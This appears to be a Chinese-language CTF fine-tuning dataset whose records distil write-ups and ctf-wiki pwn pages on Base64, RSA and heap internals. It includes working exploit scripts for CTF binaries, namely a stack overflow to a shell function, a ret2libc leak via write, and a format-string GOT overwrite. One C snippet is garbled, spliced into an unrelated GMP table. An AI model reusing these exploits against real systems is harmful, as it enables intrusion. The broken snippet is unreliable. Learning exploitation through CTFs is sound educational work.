{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-fb6732d92851b469221e", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“[SDCTF 2022]Horoscope”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“[SDCTF 2022]Horoscope”。\n语言/类型：python\n关联知识点：\n- 需要让程序不执行退出指令，所以程序必须选择case选项。\n- 在payload前拼接上数字，让他进行选择\n代码片段：\n```python\n#!/usr/bin/python3\nfrom pwncli import *\n\ncli_script()\nio=gift[\"io\"]\nelf=gift[\"elf\"]\n\ndebug=0x40096e\nshell=0x400950\n\npayload=b'12'+b'a'*(0x30-2+8)+p64(debug)+p64(shell)\n\ns(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::6a0cbc32a18d5f4f", "original_line": 915, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "[SDCTF 2022]Horoscope", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "6a0cbc32a18d5f4f", "source_split": "train", "split": "train", "split_group_key": "f89cb63714418b77d5f61c56", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-fc228ec0601e2e1c6394", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "请将《Base64》蒸馏成模型训练用的知识卡片，要求覆盖主题、知识结构、关键术语和核心要点。", "role": "user"}, {"content": "主题：Base64\n领域标签：reverse, crypto, ctf-method\n知识结构：简介 -> 原理 -> 代码实现 -> 原理 -> 代码实现 -> 常见魔改 -> 常规 -> 魔改 -> 后言\n关键术语：base64、unsigned、current、str、sub_4110be、data、printf、scanf、strncmp、str2、table、flag、temp、main_0、sub_411375、input\n核心要点：\n- base64 编码根据编码表将一段二进制数据映射成 64 个可显示字母和数字组成的字符集合，主要用于传送图形、声音等非文本数据。\n- 标准 base64 编码表\n- 下面我们通过将明文 `“abc”` 进行 base64 编码来讲解 base64 编码原理。\n- 首先将明文每三个字节分为一组，每个字节 8bit，共 24bit。\n- 将 24bit 划分为四组，每组 6bit，4 组共 24bit\n- 将每组用 0 补齐为 8bit，4 组共 32bit。\n- 黄色部分就是补齐的 0。\n- 将补齐后的二进制数的十进制值作为编码表的下标获取编码表中的对应值。\n- 编码结果就是 `“YWJj”`。\n- 如果编码后的字符不是 4 的倍数，后面用 “=” 填充补齐。", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::c713b2b45610a58b", "original_line": 738, "original_split": "train", "record_family": "sft_chatml", "record_type": "article_knowledge_card", "section": "article_overview", "source": "Base64.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "c713b2b45610a58b", "source_split": "train", "split": "train", "split_group_key": "4b27c0bee86e276341d3d9b1", "tags": ["reverse", "crypto", "ctf-method"], "title": "Base64", "type": "article_knowledge_card"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-fc56d3aaa5c9a04c04ed", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“jarvisojlevel4”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / jarvisojlevel4\n关键词：write、p32、elf、ELF、payload、libc、off、base、sys、gift\n蒸馏要点：\n- 利用`write`泄露基址，打ret2libc\n可用于训练的标准回答：\n### jarvisojlevel4\n\n利用`write`泄露基址，打ret2libc\n\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\nlibc=ELF(\"/buu/32/libc-2.23.so\")\n\noff=140\n\npayload=b'a'*off+p32(elf.plt.write)+p32(elf.sym.main)+p32(1)+p32(elf.got[\"write\"])+p32(4)\n\nsl(payload)\naddr=u32(r(4))\nbase=addr-libc.sym[\"write\"]\nprint(hex(base))\nsys=base+0x3a80c\nprint(hex(sys))\npayload=b'a'*off+p32(sys)\nsl(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::1a62a93deb95f089", "original_line": 793, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "jarvisojlevel4", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "1a62a93deb95f089", "source_split": "train", "split": "train", "split_group_key": "916dc42b6c6d193a99babd8b", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-fd4233611ff494a5a940", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“2024网鼎杯pwn02”？请用《Pwn：Stack》中的内容回答。", "role": "user"}, {"content": "1. 题目描述：某单位服务器的一项服务端口无意暴露出来，请根据给出的附件进行调试，测试是否存在安全漏洞。\n2. 32程序，无`canary`和`PIE`保护\n3. IDA打开分析，在IDA字符串表中发现`/bin/sh`字符串\n4. 函数表发现后门函数`gift`\n5. `vuln`函数中发现栈溢出漏洞，但只溢出两个字长，只能覆盖`ebp`和返回地址。\n6. 并且程序会泄露栈帧，所以我们可以通过栈迁移的方式ROP。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::bcac7e7e6a9abe88", "original_line": 772, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "2024网鼎杯pwn02", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "bcac7e7e6a9abe88", "source_split": "train", "split": "train", "split_group_key": "324f03b440138d72423acf39", "tags": ["pwn", "reverse", "ctf-method"], "title": "Pwn：Stack", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-fe9096578b4d5fbbace7", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《RSA与大数运算》中“乘法逆元”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《RSA与大数运算》的“乘法逆元”。\n语言/类型：c\n关联知识点：\n- 乘法逆元是指在某个数学结构中（如有限域）能“逆转”某个数，使得该数与它的逆元相乘得到 1。在有限域（特别是在模运算下），任何非零元素都有一个乘法逆元。\n- 在有限域 $GF(p)$ 中，若 $a$ 是一个非零元素，那么它的乘法逆元 $a^{-1}$ 满足：\n- a×a−1≡1(mod\\ p)a \\times a^{-1} \\equiv 1 \\pmod{p}a×a−1≡1(mod\\ p)\n- 其中 $p$ 是素数，因此该乘法逆元是存在的，并且可以通过扩展欧几里得算法来求解。\n- 如果我们有一个数$x$，它的乘法逆元是另一个数$y$，使得$x$乘以$y$等于 1。换句话说，如果我们有$xy=1$，那么$y$就是$x$的乘法逆元。\n代码片段：\n```c\nfor (int j=0;j op2`。 |\n| `mpz_cmp_ui(const mpz_t op1, unsigned long op2)`                           | 比较 `op1` 和无符号整数 `op2`。                                                 |\n| `mpz_sgn(const mpz_t op)`                                                  | 返回 `op` 的符号：负数 `-1`，0，正数 `1`。                                          |\n| `mpz_invert(mpz_t dest, const mpz_t op, const mpz_t mod)`                  | 计算 `op` 在模 `mod` 下的逆元，结果存储在 `dest` 中。如果逆元不存在，返回 `0`。                   |\n| `mpq_init(mpq_t q)`                                                        | 初始化一个多精度有理数变量 `q`。                                                     |\n| `mpq_clear(mpq_t q)`                                                       | 清除多精度有理数变量 `q`。                                                        |\n| `mpq_set(mpq_t dest, const mpq_t src)`                                     | 将 `src` 的值复制到 `dest`。                                                  |\n| `mpq_set_ui(mpq_t dest, unsigned long num, unsigned long denom)`           | 将有理数设置为 `num/denom`。                                                   |\n| `mpq_get_num(const mpq_t q)`                                               | 返回有理数 `q` 的分子。                                                         |\n| `mpq_get_den(const mpq_t q)`                                               | 返回有理数 `q` 的分母。                                                         |\n| `mpq_add(mpq_t dest, const mpq_t op1, const mpq_t op2)`                    | 计算 `op1 + op2`，结果存储在 `dest` 中。                                         |\n| `mpq_sub(mpq_t dest, const mpq_t op1, const mpq_t op2)`\n...\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::0f2ce3fab7a7a083", "original_line": 1032, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "乘法逆元", "source": "RSA与大数运算.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "0f2ce3fab7a7a083", "source_split": "train", "split": "train", "split_group_key": "67dbab6b3c4c4f0ccb6a8bec", "tags": ["pwn", "reverse", "crypto", "ctf-method"], "title": "RSA与大数运算", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-fed3efe28a9f58b30acf", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“fmt”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“fmt”。\n语言/类型：shell\n关联知识点：\n- `main`函数的`read`并不存在溢出，但是`main`调用了`magic`函数，跟进查看。\n- 一眼丁真，`magic`函数存在一字节溢出和格式化字符串漏洞。\n- 并且我们在函数窗口发现了`shell`函数。\n- `shell`函数存在后门函数。\n- 程序存在`canary`保护，但是没有`Full RELRO`保护所以`got`表是可写的。\n代码片段：\n```shell\nArch:       amd64-64-little\n    RELRO:      Partial RELRO\n    Stack:      Canary found\n    NX:         NX enabled\n    PIE:        No PIE (0x400000)\n    SHSTK:      Enabled\n    IBT:        Enabled\n    Stripped:   No\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::27064a638e144e23", "original_line": 827, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "fmt", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "27064a638e144e23", "source_split": "train", "split": "train", "split_group_key": "b814a04711365f2b550a4485", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-fee34969c6003889f514", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“fmt”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / fmt\n关键词：shell、got、___stack_chk_fail、magic、canary、main、RELRO、read、stack_chk_fail、PIE\n蒸馏要点：\n- `main`函数的`read`并不存在溢出，但是`main`调用了`magic`函数，跟进查看。\n- 一眼丁真，`magic`函数存在一字节溢出和格式化字符串漏洞。\n- 并且我们在函数窗口发现了`shell`函数。\n- `shell`函数存在后门函数。\n- 程序存在`canary`保护，但是没有`Full RELRO`保护所以`got`表是可写的。\n- 我们可以通过格式化字符串漏洞进行任意地址写，修改`___stack_chk_fail`函数的`got`表为`shell`函数地址。\n- 然后通过一字节溢出损坏`canary`，让程序调用`___stack_chk_fail`函数。\n可用于训练的标准回答：\n### fmt\n\n#手动构造格式化字符串\n\n- 分析\n\n`main`函数的`read`并不存在溢出，但是`main`调用了`magic`函数，跟进查看。\n\n一眼丁真，`magic`函数存在一字节溢出和格式化字符串漏洞。\n\n并且我们在函数窗口发现了`shell`函数。\n\n`shell`函数存在后门函数。\n\n程序存在`canary`保护，但是没有`Full RELRO`保护所以`got`表是可写的。\n\n我们可以通过格式化字符串漏洞进行任意地址写，修改`___stack_chk_fail`函数的`got`表为`shell`函数地址。\n\n然后通过一字节溢出损坏`canary`，让程序调用`___stack_chk_fail`函数。\n\n这里我们已经修改`___stack_chk_fail`的`got`表为`shell`函数地址，所以我们调用的是`shell`函数。\n\n这里就可以 getshell 了。\n\n```shell\n\tArch:       amd64-64-little\n    RELRO:      Partial RELRO\n    Stack:      Canary found\n    NX:         NX enabled\n    PIE:        No PIE (0x400000)\n    SHSTK:      Enabled\n    IBT:        Enabled\n    Stripped:   No\n```\n\n格式化字符串漏洞处只能输入 25 字节，所以我们只能手动构造格式化字符串。\n\n`___stack_chk_fail`函数的`got`表地址`0x401040`和`shell`函数的地址`0x4011d6`只有后两字节不同，所以我们可以仅仅覆盖`got`表的后两字节既。\n\n- exp\n\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\nlibc: ELF = gift....", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::b1e0b1f133b99f3a", "original_line": 801, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "fmt", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "b1e0b1f133b99f3a", "source_split": "train", "split": "train", "split_group_key": "ad6c33ff70e324d54e2cf802", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0006ca13b14a3a11c1e5", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md` 中的章节「shell」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md`\n标题：Fastbin Attack\n章节：Fastbin Attack > 2015 9447 CTF : Search Engine > 利用 > shell\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- ``shell ➜ 2015_9447ctf_search-engine git:(master) python exp.py [] '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/fastbin_attack/2015_9447ctf_search-engine/search' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x4...\n\n关键术语：\n- 堆\n- 栈\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:shell\n\n代码/命令片段线索：\n- shell: 17 行，首行 `➜ 2015_9447ctf_search-engine git:(master) python exp.py`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 669, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "shell", "heading_path": ["Fastbin Attack", "2015 9447 CTF : Search Engine", "利用", "shell"], "original_id": "docs-94a46c970147edadaaa0", "original_line": 934, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "source_root": "docs", "source_sha256": "64df048b597ef6437905e6df1f5ef5b90fc06f950d7e5cb40681b923ec3ce15a", "split": "train", "split_group_key": "cad080ef070b5fc208ce45c3", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "栈", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:shell"], "title": "Fastbin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-009c235849cb5afe9cea", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar.md` 中的章节「后向合并操作」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar.md`\n标题：House Of Einherjar\n章节：House Of Einherjar > 原理 > 后向合并操作\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“后向合并操作”展开。\n- } ` 这里借用原作者的一张图片说明 [图片文件: ./figure/backward_consolidate.png] 关于整体的操作，请参考 深入理解堆的实现` 那一章节。\n- free 函数中的后向合并核心操作如下 ``c / consolidate backward / if (!\n- prev_inuse(p)) { prevsize = prev_size(p);\n- p = chunk_at_offset(p, -((long) prevsize));\n- unlink(av, p, bck, fwd);\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 7 行，首行 `/* consolidate backward */`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 290, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "后向合并操作", "heading_path": ["House Of Einherjar", "原理", "后向合并操作"], "original_id": "docs-7c47afd260403df4d999", "original_line": 969, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar.md", "source_root": "docs", "source_sha256": "7555ab87640a8cca0af7390ea651fe0a6f5200d3f5a461105702e891b734e4f5", "split": "train", "split_group_key": "e3de2208a82e064980a4f805", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "House Of Einherjar"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0147057b4cf73b499216", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/tricks/writable-root.md` 中的章节「例题：ACTF2025 - arandom」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/tricks/writable-root.md`\n标题：直接改写根文件系统\n章节：直接改写根文件系统 > 例题：ACTF2025 - arandom\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例题：ACTF2025 - arandom”展开。\n- 题目附件可在 [https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/linux/kernel-mode/ACTF2025-arandom](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/linux/kernel-mode/ACTF2025-arandom) 下载。\n\n关键术语：\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 201, "chunk_count": 1, "chunk_index": 0, "ctf_score": 32, "ctf_task_type": "pwn", "heading": "例题：ACTF2025 - arandom", "heading_path": ["直接改写根文件系统", "例题：ACTF2025 - arandom"], "original_id": "docs-fc13b24bfe43df4ac201", "original_line": 837, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/tricks/writable-root.md", "source_root": "docs", "source_sha256": "8ba94a5f6edc5a2e3491ee073c831bd52fc73d7c3cf7cf818829b7a891ecad14", "split": "train", "split_group_key": "53439e2e5f74af2c53a9ca48", "subcategory": "pwn/linux/kernel-mode", "terms": ["漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "直接改写根文件系统"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/tricks/writable-root.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-01c0dd0f3795913f2400", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc-state.md` 中的章节「malloc_init_state」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc-state.md`\n标题：malloc_state 相关函数\n章节：malloc_state 相关函数 > malloc_init_state\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“malloc_init_state”展开。\n- = &main_arena) #endif set_noncontiguous(av);\n- if (av == &main_arena) set_max_fast(DEFAULT_MXFAST);\n- / Establish circular links for normal bins / for (i = 1;\n- // 就是 unsorted bin av->top = initial_top(av);\n- ``c / Initialize a malloc_state struct.\n\n关键术语：\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 26 行，首行 `/*`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 830, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "malloc_init_state", "heading_path": ["malloc_state 相关函数", "malloc_init_state"], "original_id": "docs-5372b8981cd3fb379968", "original_line": 1137, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc-state.md", "source_root": "docs", "source_sha256": "120f69fc5d4393a400a21a2157da8fef9469556c0b752eb8735cfa9c4b827f5e", "split": "train", "split_group_key": "3c6faa2f97e3d5987c1928f6", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "malloc_state 相关函数"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc-state.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-029108c5ed1bd9b3b807", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/race-condition/introduction.md` 中的章节「概述」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/race-condition/introduction.md`\n标题：Race Condition\n章节：Race Condition > 形式 > CWE-364: Signal Handler Race Condition > 概述\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“概述”展开。\n- 尤其是当信号处理程序是不可重入的或者状态敏感的时候，攻击者可能通过利用信号处理程序中的条件竞争，可能可以达到拒绝服务攻击和代码执行的效果。\n- 一个信号处理函数处理多个信号，这可能会进而导致use after free 和 double free 漏洞。\n- 比如说，如果在信号处理程序中执行了free操作，此时又来了一个信号，然后信号处理程序就会再次执行free操作，这时候就会出现 double free 的情况，再稍微操作一下，就可能可以达到任意地址写的效果了。\n- 一般来说，与信号处理程序有关的常见的条件竞争情况有 - 信号处理程序和普通的代码段共享全局变量和数据段。\n- 使用 setjmp 或者 longjmp 等机制来使得信号处理程序不能够返回原来的程序执行流。\n\n关键术语：\n- UAF\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- race-condition\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 433, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "概述", "heading_path": ["Race Condition", "形式", "CWE-364: Signal Handler Race Condition", "概述"], "original_id": "docs-85509401ed00153b54f9", "original_line": 1221, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/race-condition/introduction.md", "source_root": "docs", "source_sha256": "338b696bd1c811ec5c9a103ccde2a5b1d14a90b4555ffeaf1644b779b73f85fe", "split": "train", "split_group_key": "a6ecb29a35a0018c7617f69e", "subcategory": "pwn/linux/user-mode", "terms": ["UAF", "漏洞利用", "pwn", "linux", "user-mode", "race-condition"], "title": "Race Condition"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/race-condition/introduction.md", "split": "train", "type": "ctf_lora_sft"}
